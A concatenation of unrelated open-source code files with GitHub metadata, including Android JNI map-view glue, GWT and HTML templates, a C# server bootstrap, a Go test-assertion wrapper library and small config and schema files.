s_mapdevice->mapView()->latitude(); } } RHO_GLOBAL double mapview_state_center_lon() { #ifdef RHO_GOOGLE_API_KEY if (ourIsOldGoogleEngineUsed) { return google_mapview_state_center_lon(); } else #endif { if (!s_mapdevice) return 0; return s_mapdevice->mapView()->longitude(); } } RHO_GLOBAL void mapview_set_file_caching_enable(int enable) { ourIsCachingEnabled = (enable != 0); if (!s_mapdevice) return; return s_mapdevice->mapView()->set_file_caching_enable(enable); } RHO_GLOBAL int mapengine_request_make() { JNIEnv *env = jnienv(); jclass cls = rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView");//env->FindClass("com/rhomobile/rhodes/mapview/MapView");//rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView"); if (!cls) { RAWLOG_ERROR("mapengine_request : Can not found com/rhomobile/rhodes/mapview/MapView class !!!"); return 0; } jmethodID mid = env->GetStaticMethodID( cls, "mapengine_request_make", "()I"); if (!mid) { env->DeleteLocalRef(cls); return 0; } int res = env->CallStaticIntMethod(cls, mid); env->DeleteLocalRef(cls); return res; } RHO_GLOBAL int mapengine_request_data(int request_id, const char* url, void** data, int* datasize) { JNIEnv *env = jnienv(); jclass cls = rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView");//env->FindClass("com/rhomobile/rhodes/mapview/MapView");//rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView"); if (!cls) { RAWLOG_ERROR("mapengine_request : Can not found com/rhomobile/rhodes/mapview/MapView class !!!"); return 0; } jmethodID mid = env->GetStaticMethodID( cls, "mapengine_request_data", "(ILjava/lang/String;)I"); if (!mid) { env->DeleteLocalRef(cls); return 0; } jhstring jhUrl = rho_cast<jstring>(env, url); int size = env->CallStaticIntMethod(cls, mid, request_id, jhUrl.get()); if (size == 0) { env->DeleteLocalRef(cls); return 0; } jmethodID mid2 = env->GetStaticMethodID( cls, "mapengine_get_requested_data", "(I)[B"); if (!mid2) { env->DeleteLocalRef(cls); return 0; } jholder<jbyteArray> jbytear = static_cast<jbyteArray>(env->CallStaticObjectMethod(cls, mid2, request_id)); if (!jbytear) { env->DeleteLocalRef(cls); RAWLOG_ERROR("mapengine_request : byte array is NULL"); return 0; } jbyte* buf_p = env->GetByteArrayElements(jbytear.get(), 0); if (buf_p == NULL) { env->DeleteLocalRef(cls); RAWLOG_ERROR("mapengine_request : buffer from byte array is NULL"); return 0; } *data = malloc(size); if (*data == NULL) { env->DeleteLocalRef(cls); RAWLOG_ERROR("mapengine_request : cannot allocate data"); return 0; } *datasize = size; memcpy(*data, buf_p, size); env->ReleaseByteArrayElements(jbytear.get(), buf_p, 0); env->DeleteLocalRef(cls); //RAWLOG_ERROR(ANDROID_LOG_INFO, "mapengine_request", "finish OK"); return size; } RHO_GLOBAL void mapengine_request_cancel(int request_id) { JNIEnv *env = jnienv(); jclass cls = rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView");//env->FindClass("com/rhomobile/rhodes/mapview/MapView");//rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView"); if (!cls) { RAWLOG_ERROR("mapengine_request : Can not found com/rhomobile/rhodes/mapview/MapView class !!!"); return; } jmethodID mid = env->GetStaticMethodID( cls, "mapengine_request_cancel", "(I)V"); if (!mid) { env->DeleteLocalRef(cls); return; } env->CallStaticVoidMethod(cls, mid, request_id); env->DeleteLocalRef(cls); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_deletemapviewpointer (JNIEnv *, jclass, jint p) { rho::common::map::BaseMapView* mvp = (rho::common::map::BaseMapView*)p; RAWLOG_INFO("delete_mapview_pointer : ^^^^^^^^^^^^^^^^ BEFORE"); if (mvp != NULL) { mvp->cleanTiles(); RAWLOG_INFO("delete_mapview_pointer : ^^^^^^^^^^^^^^^^ _____ 1 _____"); delete mvp; } RAWLOG_INFO("delete_mapview_pointer : ^^^^^^^^^^^^^^^^ AFTER"); } void mapengine_delete_mapview_in_ui_thread(void* p) { int pl = (int)p; JNIEnv *env = jnienv(); jclass cls = rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView");//env->FindClass("com/rhomobile/rhodes/mapview/MapView");//rho_find_class(env, "com/rhomobile/rhodes/mapview/MapView"); if (!cls) { RAWLOG_ERROR("mapengine_request : Can not found com/rhomobile/rhodes/mapview/MapView class !!!"); return; } jmethodID mid = env->GetStaticMethodID( cls, "mapengine_delete_mapview_in_ui_thread", "(I)V"); if (!mid) { env->DeleteLocalRef(cls); return; } env->CallStaticVoidMethod(cls, mid, pl); env->DeleteLocalRef(cls); }
{ "content_hash": "ac617cec77ce168b8f55c3dbf3022ca3", "timestamp": "", "source": "github", "line_count": 1030, "max_line_length": 193, "avg_line_length": 30.313592233009707, "alnum_prop": 0.6670082951670243, "repo_name": "tauplatform/tau", "id": "0f748cf2cb88cbc3c0c304dcf87eadb54e7bbd90", "size": "32524", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "platform/android/Rhodes/jni/src/mapview.cpp", "mode": "33188", "license": "mit", "language": [ { "name": "Assembly", "bytes": "6291" }, { "name": "Batchfile", "bytes": "117803" }, { "name": "C", "bytes": "58276168" }, { "name": "C#", "bytes": "695670" }, { "name": "C++", "bytes": "17458941" }, { "name": "COBOL", "bytes": "187" }, { "name": "CSS", "bytes": "641054" }, { "name": "GAP", "bytes": "76344" }, { "name": "HTML", "bytes": "1756465" }, { "name": "Java", "bytes": "6450324" }, { "name": "JavaScript", "bytes": "1670149" }, { "name": "Makefile", "bytes": "330343" }, { "name": "Matlab", "bytes": "123" }, { "name": "NSIS", "bytes": "85403" }, { "name": "Objective-C", "bytes": "4133620" }, { "name": "Objective-C++", "bytes": "417934" }, { "name": "Perl", "bytes": "1710" }, { "name": "QMake", "bytes": "79603" }, { "name": "Rebol", "bytes": "130" }, { "name": "Roff", "bytes": "328967" }, { "name": "Ruby", "bytes": "17284489" }, { "name": "Shell", "bytes": "33635" }, { "name": "XSLT", "bytes": "4315" }, { "name": "Yacc", "bytes": "257479" } ], "symlink_target": "" }
<!DOCTYPE ui:UiBinder SYSTEM "http://dl.google.com/gwt/DTD/xhtml.ent"> <ui:UiBinder xmlns:ui="urn:ui:com.google.gwt.uibinder" xmlns:g="urn:import:com.google.gwt.user.client.ui" xmlns:c="urn:import:com.google.gwt.user.cellview.client" xmlns:b="urn:import:org.gwtbootstrap3.client.ui" xmlns:t="urn:import:org.sagebionetworks.web.client.widget.table.v2" xmlns:a="urn:import:org.sagebionetworks.web.client.widget.table.v2" xmlns:bg="urn:import:org.gwtbootstrap3.client.ui.gwt" xmlns:bh="urn:import:org.gwtbootstrap3.client.ui.html" xmlns:w="urn:import:org.sagebionetworks.web.client.widget"> <g:HTMLPanel> <b:Collapse b:id="editScopeCollapse" ui:field="scopeCollapse" addStyleNames="padding-bottom-15" toggle="false"> <g:FlowPanel addStyleNames="light-border padding-10 margin-bottom-15"> <bh:Div addStyleNames="highlight-title"> <bh:Text>Scope</bh:Text> <g:Button ui:field="scopeCollapseCloseButton" addStyleNames="close">×️</g:Button> </bh:Div> <bh:Div ui:field="scopePanel"/> </g:FlowPanel> </b:Collapse> <b:Collapse b:id="editSchemaCollapse" ui:field="schemaCollapse" toggle="false"> <g:FlowPanel addStyleNames="light-border padding-10 margin-bottom-15"> <bh:Div addStyleNames="highlight-title"> <bh:Text>Schema</bh:Text> <w:HelpWidget helpMarkdown="Every table has a schema that describes the columns and types of data stored in each column." href="https://help.synapse.org/docs/Tables.2011038095.html" addStyleNames="margin-left-5" /> <w:IconSvg ui:field="schemaCollapseCloseButton" addStyleNames="close" icon="close" /> </bh:Div> <g:SimplePanel ui:field="columnDetailsPanel" /> </g:FlowPanel> </b:Collapse> <w:FullWidthAlert ui:field="tableMessage" alertType="INFO" visible="false" global="false" /> <w:ReactComponentDiv ui:field="itemsEditorContainer" /> <bh:Div ui:field="addToDownloadListContainer" /> <bh:Div styleName="margin-top-5" /> <bh:Div ui:field="plotNavContainer" /> <bh:Div ui:field="modalContainer" /> </g:HTMLPanel> </ui:UiBinder>
{ "content_hash": "d97407e23e9ce1ac33479d5a99933fd8", "timestamp": "", "source": "github", "line_count": 49, "max_line_length": 113, "avg_line_length": 42.6530612244898, "alnum_prop": 0.7138755980861244, "repo_name": "jay-hodgson/SynapseWebClient", "id": "8c21f255a42a288fe73629e67e0b4da2bde09783", "size": "2093", "binary": false, "copies": "1", "ref": "refs/heads/develop", "path": "src/main/resources/org/sagebionetworks/web/client/widget/table/v2/TableEntityWidgetViewImpl.ui.xml", "mode": "33261", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "392172" }, { "name": "HTML", "bytes": "3785996" }, { "name": "Java", "bytes": "7951622" }, { "name": "JavaScript", "bytes": "8787050" }, { "name": "SCSS", "bytes": "69093" }, { "name": "Shell", "bytes": "1363" } ], "symlink_target": "" }
use test::{A}; //~ ERROR braces around A is unnecessary mod test { pub struct A; } fn main() {}
{ "content_hash": "ce8661b5a5e00d45c2dffb6f8bbb7012", "timestamp": "", "source": "github", "line_count": 7, "max_line_length": 55, "avg_line_length": 14.571428571428571, "alnum_prop": 0.6078431372549019, "repo_name": "P1start/rust", "id": "c44918d9879d81113153ce876f575ed91ccddc35", "size": "653", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "src/test/compile-fail/lint-unnecessary-import-braces.rs", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "ANTLR", "bytes": "3206" }, { "name": "Assembly", "bytes": "26647" }, { "name": "Awk", "bytes": "159" }, { "name": "C", "bytes": "687966" }, { "name": "C++", "bytes": "52990" }, { "name": "CSS", "bytes": "20542" }, { "name": "Emacs Lisp", "bytes": "43154" }, { "name": "JavaScript", "bytes": "32270" }, { "name": "Perl", "bytes": "1076" }, { "name": "Puppet", "bytes": "10871" }, { "name": "Python", "bytes": "101746" }, { "name": "Rust", "bytes": "16997860" }, { "name": "Shell", "bytes": "281700" }, { "name": "VimL", "bytes": "35549" } ], "symlink_target": "" }
<!-- Modal --> <div class="modal-dialog modal-sm"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title">{{title}}</h4> </div> <div class="modal-body"> <p>{{body}}</p> </div> <div class="modal-footer"> <button type="button" id="js-confirm-button" class="btn btn-{{confirm_color}}">{{confirm_text}}</button> {{#has_cancel}} <button type="button" class="btn btn-default" data-dismiss="modal">{{cancel_text}}</button> {{/has_cancel}} </div> </div> </div>
{ "content_hash": "573714288f8a73c3655317a978d499cb", "timestamp": "", "source": "github", "line_count": 19, "max_line_length": 112, "avg_line_length": 34.526315789473685, "alnum_prop": 0.5503048780487805, "repo_name": "ygd182/eye_exercises", "id": "5e71d7ac5ab091ca1751f3cc3601b8410b8747a6", "size": "656", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "public/templates/modal.html", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "13219" }, { "name": "HTML", "bytes": "22516" }, { "name": "JavaScript", "bytes": "44548" } ], "symlink_target": "" }
[![CI Status](http://img.shields.io/travis/priyanka16/RPChatUI.svg?style=flat)](https://travis-ci.org/priyanka16/RPChatUI) [![Version](https://img.shields.io/cocoapods/v/RPChatUI.svg?style=flat)](http://cocoapods.org/pods/RPChatUI) [![License](https://img.shields.io/cocoapods/l/RPChatUI.svg?style=flat)](http://cocoapods.org/pods/RPChatUI) [![Platform](https://img.shields.io/cocoapods/p/RPChatUI.svg?style=flat)](http://cocoapods.org/pods/RPChatUI) ## Example To run the example project, clone the repo, and run `pod install` from the Example directory first. ## Requirements ## Installation RPChatUI is available through [CocoaPods](http://cocoapods.org). To install it, simply add the following line to your Podfile: ```ruby pod "RPChatUI" ``` ## Author priyanka, priyanka.mvernekar@gmail.com ## License RPChatUI is available under the MIT license. See the LICENSE file for more info.
{ "content_hash": "c7ccd8dd9e850cf896793a7aa150b965", "timestamp": "", "source": "github", "line_count": 27, "max_line_length": 122, "avg_line_length": 33.2962962962963, "alnum_prop": 0.7519466073414905, "repo_name": "priyanka16/RPChatUI", "id": "0150b9f4f0932e1a0866d8bb90065cfeabcad1f9", "size": "911", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "README.md", "mode": "33261", "license": "mit", "language": [ { "name": "Objective-C", "bytes": "1380" }, { "name": "Ruby", "bytes": "1915" }, { "name": "Shell", "bytes": "17313" }, { "name": "Swift", "bytes": "103532" } ], "symlink_target": "" }
 using DILibrary.DependencyInjection; using KNetFramework.Configuration.Base; using KNetFramework.Configuration.Core; using KNetFramework.Configuration.Helpers; using KNetFramework.Database.Context; using KNetFramework.Database.Model.KNet.Server; using KNetFramework.Enums; using KNetFramework.Events; using KNetFramework.Exceptions; using KNetFramework.Managers; using KNetFramework.Managers.Injection; using KNetFramework.Managers.Interface; using KNetFramework.Network.Packets; using KNetFramework.Network.Session; using KNetFramework.Network.Socket; using System; using System.Collections.Generic; using System.Data.Entity.Validation; using System.Linq; using System.Net; using System.Net.Sockets; using System.Threading; namespace KNetFramework { #region Delegates public delegate bool CommandHandler(Client user, params string[] args); public delegate void OpcodeHandler(Client pClient, Packet packet); public delegate void CommandEventHandler(object sender, EventArgs e); public delegate void ServerEventHandler(object sender, SocketAsyncEventArgs e); public delegate void AssemblyEventHandler(object sender, AssemblyEventArgs e); #endregion public sealed class KNetServer : IDisposable { #region Constants private const string ConsoleName = "Console"; #endregion #region Fields private Client _consoleClient; private static SocketListenerSettings _socketSettings; private static Server _server; private ManualResetEvent _waitEvent = new ManualResetEvent(false); #endregion #region Properties public Server Server { get { if (_server == null) _server = Server.GetInstance(_socketSettings); return _server; } } private Client ConsoleClient { get { if (_consoleClient == null) { _consoleClient = new Client() { UserLevel = CommandLevel.Ten, Token = new ConsoleClient() { SessionID = 0, ID = 0, Name = ConsoleName } }; } return _consoleClient; } } private ManualResetEvent WaitEvent { get { return _waitEvent; } } #endregion #region Events public event EventHandler AfterInitialisation; #endregion #region Constructors /// <summary> /// Instantiates new <see cref="KNetServer"/> type. /// </summary> public KNetServer() { Init(); } #endregion #region Methods #region Init /// <summary> /// Initialises server. /// </summary> private void Init() { AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(UnhandledExceptionHandler); DependencyManager.Map<IConfig, XmlConfiguration>(); DependencyManager.Map<IServer, ServerInject>(); DependencyManager.Map<IAssemblyManager, AssemblyManagerInject>(); DependencyManager.Map<IBufferManager, BufferManagerInject>(); DependencyManager.Map<ICommandManager, CommandManagerInject>(); DependencyManager.Map<IDatabaseManager, DatabaseManagerInject>(); DependencyManager.Map<ILogManager, LogManagerInject>(); DependencyManager.Map<IPacketLogManager, PacketLogManagerInject>(); DependencyManager.Map<IPacketManager, PacketManagerInject>(); DependencyManager.Map<ISessionManager, SessionManagerInject>(); KNetConfig.Init(); _socketSettings = new SocketListenerSettings ( KNetConfig.MaxConnections, KNetConfig.Backlog, KNetConfig.MaxSimultaneousAcceptOps, KNetConfig.BufferSize, KNetConfig.HeaderLength, new IPEndPoint(IPAddress.Parse(KNetConfig.BindIP), KNetConfig.BindPort) ); Manager.LogManager.Log(LogTypes.Info, "Configuration"); Manager.LogManager.Log(LogTypes.Info, $"Bind IP: {KNetConfig.BindIP}"); Manager.LogManager.Log(LogTypes.Info, $"Bind port: {KNetConfig.BindPort}"); Manager.LogManager.Log(LogTypes.Info, $"Console log level: {KNetConfig.LogLevel}"); Manager.LogManager.Log(LogTypes.Info, $"Packet log level: {KNetConfig.PacketLogLevel}"); Manager.LogManager.Log(LogTypes.Info, $"Opcode allow level: {KNetConfig.OpcodeAllowLevel}"); Manager.LogManager.Log(LogTypes.Info, $"Buffer size: {KNetConfig.BufferSize}"); Manager.LogManager.Log(LogTypes.Info, $"Maximum connections: {KNetConfig.MaxConnections}"); Manager.LogManager.Log(LogTypes.Info, $"Maximum sockets for accept: {KNetConfig.MaxSimultaneousAcceptOps}"); Manager.LogManager.Log(LogTypes.Info, $"Backlog: {KNetConfig.Backlog}"); Manager.LogManager.Log(LogTypes.Info, $"Packet header length: {KNetConfig.HeaderLength}"); Manager.LogManager.Log(LogTypes.Info, $"Big Packet header length: {KNetConfig.BigHeaderLength}"); Manager.LogManager.Log(LogTypes.Info, $"Database host name: {KNetConfig.DBHost}"); Manager.LogManager.Log(LogTypes.Info, $"Database port: {KNetConfig.DBPort}"); Manager.LogManager.Log(LogTypes.Info, $"Database username: {KNetConfig.DBUser}"); Manager.LogManager.Log(LogTypes.Info, $"Database password: {KNetConfig.DBPass}"); Manager.LogManager.Log(LogTypes.Info, $"Database name: {KNetConfig.DBName}"); Manager.LogManager.Log(LogTypes.Info, $"Log filename; {KNetConfig.LogFilePath}"); Manager.LogManager.Log(LogTypes.Info, $"Is Console: {KNetConfig.IsConsole}"); Manager.LogManager.Log(); Manager.LogManager.Log(LogTypes.Init, "Initialising KNet database connection."); using (KNetContext context = new KNetContext()) { IEnumerable<DbEntityValidationResult> errors = context.GetValidationErrors(); if (errors.Any()) { foreach (DbEntityValidationResult result in errors) Manager.LogManager.Log(LogTypes.DB, $"{result.ToString()}"); Manager.LogManager.Log(LogTypes.Critical, "Database error!"); } ServerModel server = new ServerModel() { IsSuccessful = false }; Manager.DatabaseManager.AddOrUpdate(context, true, server); } Manager.LogManager.Log(LogTypes.Init, "Successfully tested database connection."); Manager.LogManager.Log(LogTypes.Init, "Initializing managers."); Manager.Init(); if (AfterInitialisation != null) { Manager.LogManager.Log(LogTypes.Init, "Post initialization..."); AfterInitialisation(new object(), new EventArgs()); } } #endregion #region Start /// <summary> /// Starts server loop. /// </summary> public void Start() { Server.Init(); if (KNetConfig.IsConsole) { Thread thread = new Thread(new ThreadStart(() => { while (Server.IsRunning) { string command = Console.ReadLine(); if (!String.IsNullOrEmpty(command)) { Manager.CommandManager.InvokeCommand(ConsoleClient, command.ToLower()); } else { Manager.LogManager.Log(LogTypes.Command, "Wrong input"); } } })) { IsBackground = true }; thread.Start(); Manager.LogManager.Log(LogTypes.Init, "Console thread initialised"); } Manager.LogManager.Log(LogTypes.Init, "Server successfully initialized"); Manager.DatabaseManager.Update<KNetContext, ServerModel>(x => x.OrderByDescending(y => y.ID).First(), x => x.IsSuccessful = true); WaitEvent.WaitOne(); } #endregion #region Quit public void Quit() { Server.Quit(); WaitEvent.Set(); } #endregion #region Dispose public void Dispose() { _waitEvent.Dispose(); } #endregion #region UnhandledExceptionHandler private void UnhandledExceptionHandler(object sender, UnhandledExceptionEventArgs e) { if (e.ExceptionObject is DatabaseException) { Manager.LogManager.Log(LogTypes.DB, (DatabaseException)e.ExceptionObject); } else { Manager.LogManager.Log(LogTypes.Error, (Exception)e.ExceptionObject); } } #endregion #endregion } }
{ "content_hash": "d3d3d08eaacab0f898b4792c238c9060", "timestamp": "", "source": "github", "line_count": 284, "max_line_length": 111, "avg_line_length": 27.06338028169014, "alnum_prop": 0.7211813687223523, "repo_name": "Kahath/Framework", "id": "9bfbe11203d0f33a59ee7a1bba8c8db17c676ffa", "size": "7753", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "KNetFramework/KNetServer.cs", "mode": "33188", "license": "mit", "language": [ { "name": "C#", "bytes": "191161" } ], "symlink_target": "" }
package require import ( "time" "github.com/stretchr/testify/assert" ) type TestingT interface { Errorf(format string, args ...interface{}) FailNow() } // Fail reports a failure through func FailNow(t TestingT, failureMessage string, msgAndArgs ...interface{}) { assert.Fail(t, failureMessage, msgAndArgs...) t.FailNow() } // Implements asserts that an object is implemented by the specified interface. // // require.Implements(t, (*MyInterface)(nil), new(MyObject), "MyObject") func Implements(t TestingT, interfaceObject interface{}, object interface{}, msgAndArgs ...interface{}) { if !assert.Implements(t, interfaceObject, object, msgAndArgs...) { t.FailNow() } } // IsType asserts that the specified objects are of the same type. func IsType(t TestingT, expectedType interface{}, object interface{}, msgAndArgs ...interface{}) { if !assert.IsType(t, expectedType, object, msgAndArgs...) { t.FailNow() } } // Equal asserts that two objects are equal. // // require.Equal(t, 123, 123, "123 and 123 should be equal") func Equal(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) { if !assert.Equal(t, expected, actual, msgAndArgs...) { t.FailNow() } } // EqualValues asserts that two objects are equal or convertable to each other. // // require.EqualValues(t, uint32(123), int32(123), "123 and 123 should be equal") func EqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) { if !assert.EqualValues(t, expected, actual, msgAndArgs...) { t.FailNow() } } // Exactly asserts that two objects are equal is value and type. // // require.Exactly(t, int32(123), int64(123), "123 and 123 should NOT be equal") func Exactly(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) { if !assert.Exactly(t, expected, actual, msgAndArgs...) { t.FailNow() } } // NotNil asserts that the specified object is not nil. // // require.NotNil(t, err, "err should be something") func NotNil(t TestingT, object interface{}, msgAndArgs ...interface{}) { if !assert.NotNil(t, object, msgAndArgs...) { t.FailNow() } } // Nil asserts that the specified object is nil. // // require.Nil(t, err, "err should be nothing") func Nil(t TestingT, object interface{}, msgAndArgs ...interface{}) { if !assert.Nil(t, object, msgAndArgs...) { t.FailNow() } } // Empty asserts that the specified object is empty. I.e. nil, "", false, 0 or either // a slice or a channel with len == 0. // // require.Empty(t, obj) func Empty(t TestingT, object interface{}, msgAndArgs ...interface{}) { if !assert.Empty(t, object, msgAndArgs...) { t.FailNow() } } // NotEmpty asserts that the specified object is NOT empty. I.e. not nil, "", false, 0 or either // a slice or a channel with len == 0. // // require.NotEmpty(t, obj) // require.Equal(t, "one", obj[0]) func NotEmpty(t TestingT, object interface{}, msgAndArgs ...interface{}) { if !assert.NotEmpty(t, object, msgAndArgs...) { t.FailNow() } } // Len asserts that the specified object has specific length. // Len also fails if the object has a type that len() not accept. // // require.Len(t, 3, mySlice, "The size of slice is not 3") func Len(t TestingT, length int, object interface{}, msgAndArgs ...interface{}) { if !assert.Len(t, length, object, msgAndArgs...) { t.FailNow() } } // True asserts that the specified value is true. // // require.True(t, myBool, "myBool should be true") func True(t TestingT, value bool, msgAndArgs ...interface{}) { if !assert.True(t, value, msgAndArgs...) { t.FailNow() } } // False asserts that the specified value is true. // // require.False(t, myBool, "myBool should be false") func False(t TestingT, value bool, msgAndArgs ...interface{}) { if !assert.False(t, value, msgAndArgs...) { t.FailNow() } } // NotEqual asserts that the specified values are NOT equal. // // require.NotEqual(t, obj1, obj2, "two objects shouldn't be equal") func NotEqual(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) { if !assert.NotEqual(t, expected, actual, msgAndArgs...) { t.FailNow() } } // Contains asserts that the specified string contains the specified substring. // // require.Contains(t, "World", "Hello World", "But 'Hello World' does contain 'World'") func Contains(t TestingT, contains, s interface{}, msgAndArgs ...interface{}) { if !assert.Contains(t, contains, s, msgAndArgs...) { t.FailNow() } } // NotContains asserts that the specified string does NOT contain the specified substring. // // require.NotContains(t, "Earth", "Hello World", "But 'Hello World' does NOT contain 'Earth'") func NotContains(t TestingT, contains, s interface{}, msgAndArgs ...interface{}) { if !assert.NotContains(t, contains, s, msgAndArgs...) { t.FailNow() } } // Condition uses a Comparison to assert a complex condition. func Condition(t TestingT, comp assert.Comparison, msgAndArgs ...interface{}) { if !assert.Condition(t, comp, msgAndArgs...) { t.FailNow() } } // Panics asserts that the code inside the specified PanicTestFunc panics. // // require.Panics(t, func(){ // GoCrazy() // }, "Calling GoCrazy() should panic") func Panics(t TestingT, f assert.PanicTestFunc, msgAndArgs ...interface{}) { if !assert.Panics(t, f, msgAndArgs...) { t.FailNow() } } // NotPanics asserts that the code inside the specified PanicTestFunc does NOT panic. // // require.NotPanics(t, func(){ // RemainCalm() // }, "Calling RemainCalm() should NOT panic") func NotPanics(t TestingT, f assert.PanicTestFunc, msgAndArgs ...interface{}) { if !assert.NotPanics(t, f, msgAndArgs...) { t.FailNow() } } // WithinDuration asserts that the two times are within duration delta of each other. // // require.WithinDuration(t, time.Now(), time.Now(), 10*time.Second, "The difference should not be more than 10s") func WithinDuration(t TestingT, expected, actual time.Time, delta time.Duration, msgAndArgs ...interface{}) { if !assert.WithinDuration(t, expected, actual, delta, msgAndArgs...) { t.FailNow() } } // InDelta asserts that the two numerals are within delta of each other. // // require.InDelta(t, math.Pi, (22 / 7.0), 0.01) func InDelta(t TestingT, expected, actual interface{}, delta float64, msgAndArgs ...interface{}) { if !assert.InDelta(t, expected, actual, delta, msgAndArgs...) { t.FailNow() } } // InEpsilon asserts that expected and actual have a relative error less than epsilon func InEpsilon(t TestingT, expected, actual interface{}, epsilon float64, msgAndArgs ...interface{}) { if !assert.InEpsilon(t, expected, actual, epsilon, msgAndArgs...) { t.FailNow() } } // Regexp asserts that a specified regexp matches a string. // // require.Regexp(t, regexp.MustCompile("start"), "it's starting") // require.Regexp(t, "start...$", "it's not starting") func Regexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface{}) { if !assert.Regexp(t, rx, str, msgAndArgs...) { t.FailNow() } } // NotRegexp asserts that a specified regexp does not match a string. // // require.NotRegexp(t, regexp.MustCompile("starts"), "it's starting") // require.NotRegexp(t, "^start", "it's not starting") func NotRegexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface{}) { if !assert.NotRegexp(t, rx, str, msgAndArgs...) { t.FailNow() } } /* Errors */ // NoError asserts that a function returned no error (i.e. `nil`). // // actualObj, err := SomeFunction() // require.NoError(t, err) // require.Equal(t, actualObj, expectedObj) // // Returns whether the assertion was successful (true) or not (false). func NoError(t TestingT, err error, msgAndArgs ...interface{}) { if !assert.NoError(t, err, msgAndArgs...) { t.FailNow() } } // Error asserts that a function returned an error (i.e. not `nil`). // // actualObj, err := SomeFunction() // require.Error(t, err, "An error was expected") // require.Equal(t, err, expectedError) // } func Error(t TestingT, err error, msgAndArgs ...interface{}) { if !assert.Error(t, err, msgAndArgs...) { t.FailNow() } } // EqualError asserts that a function returned an error (i.e. not `nil`) // and that it is equal to the provided error. // // actualObj, err := SomeFunction() // require.Error(t, "An error was expected" err,) // require.Equal(t, expectedError err,) // } func EqualError(t TestingT, errString string, theError error, msgAndArgs ...interface{}) { if !assert.EqualError(t, errString, theError, msgAndArgs...) { t.FailNow() } } // Zero asserts that i is the zero value for its type and returns the truth. func Zero(t TestingT, i interface{}, msgAndArgs ...interface{}) { if !assert.Zero(t, i, msgAndArgs...) { t.FailNow() } } // NotZero asserts that i is not the zero value for its type and returns the truth. func NotZero(t TestingT, i interface{}, msgAndArgs ...interface{}) { if !assert.NotZero(t, i, msgAndArgs...) { t.FailNow() } }
{ "content_hash": "552f9e69c9a478a60a909186185f28b2", "timestamp": "", "source": "github", "line_count": 285, "max_line_length": 116, "avg_line_length": 31.364912280701756, "alnum_prop": 0.6850878174292426, "repo_name": "Fiery/testify", "id": "9e3e2e5a2de6834c3b877204d31a4e1ec5070065", "size": "8939", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "require/requirements.go", "mode": "33188", "license": "mit", "language": [ { "name": "Go", "bytes": "172478" } ], "symlink_target": "" }
'use strict' const Joi = require('joi') module.exports = { enable_force_variation: Joi.boolean(), exclude_disabled_experiments: Joi.boolean(), exclude_names: Joi.boolean(), include_jquery: Joi.boolean(), ip_anonymization: Joi.boolean(), ip_filter: Joi.string().max(1500), library: Joi.valid('jquery-1.11.3-trim', 'jquery-1.11.3-full', 'jquery-1.6.4-trim', 'jquery-1.6.4-full', 'none'), project_javascript: Joi.string() }
{ "content_hash": "8b0d58c35617199d673b09a1c28b22ba", "timestamp": "", "source": "github", "line_count": 14, "max_line_length": 115, "avg_line_length": 31.357142857142858, "alnum_prop": 0.6810933940774487, "repo_name": "yjimk/optimizely-x-node", "id": "0491f73a38a292cb55bf14147201486086c06d8d", "size": "439", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "lib/models/WebSnippet.js", "mode": "33188", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "25567" } ], "symlink_target": "" }
<menu xmlns:android="http://schemas.android.com/apk/res/android"> <item android:id="@+id/route_provider" android:actionProviderClass="com.commonsware.cwac.mediarouter.app.MediaRouteActionProvider" android:showAsAction="always" android:title="@string/route_provider_title"/> </menu>
{ "content_hash": "1f43edc0da319b0024711f208eed104b", "timestamp": "", "source": "github", "line_count": 9, "max_line_length": 93, "avg_line_length": 32.44444444444444, "alnum_prop": 0.7705479452054794, "repo_name": "commonsguy/cwac-mediarouter", "id": "f27d478cabd0aa399e8deae78ba489eb86ac243f", "size": "292", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "demo/res/menu/main.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "470010" } ], "symlink_target": "" }
using System; using System.Collections.Generic; using Herobook.Data.Entities; namespace Herobook.Data { public interface IDatabase { IEnumerable<Profile> ListProfiles(); int CountProfiles(); void CreateProfile(Profile profile); Profile FindProfile(string username); IEnumerable<Profile> LoadFriends(string username); void CreateFriendship(string username1, string username2); void DeleteProfile(string username); Profile UpdateProfile(string username, Profile profile); IEnumerable<Status> LoadStatuses(string username); Status LoadStatus(Guid statusId); Status UpdateStatus(Guid statusId, Status status); void DeleteStatus(Guid statusId); Status CreateStatus(Status status); IEnumerable<Photo> LoadPhotos(string username); Photo CreatePhoto(Photo photo); Photo LoadPhoto(Guid photoGuid); Photo UpdatePhoto(Guid photoId, Photo photo); void DeletePhoto(Guid photoId); } }
